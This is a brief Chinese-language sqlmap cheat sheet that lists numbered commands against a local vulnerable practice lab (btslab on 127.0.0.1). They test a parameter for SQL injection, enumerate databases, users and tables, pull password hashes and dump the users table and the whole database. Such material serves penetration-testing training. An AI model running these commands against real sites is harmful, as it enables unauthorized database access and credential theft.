1、查看版本sqlmap.py  --version2、查看帮助sqlmap.py  --help3、测试url是否有注入的可能sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=14、不询问用户，使用所有默认的配置，可能会触发WAF的告警sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --batch5、暴库（列出所有的数据库）sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --dbs6、web当前使用的数据库sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --current-db7、当前使用数据库的用户sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --current-user8、列出数据库所有的用户sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --users9、列出数据库的用户和密码sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --passwords10、列出数据中所有的表sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --tables -D bts 11、列出数据库bts特定表users的结构,所有字段sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --columns -D bts -T users 12、脱裤 数据库bts,表users,字段username和passwordsqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --dump -D bts -T users -C "username,password"13、脱裤，整个数据库sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --dump-all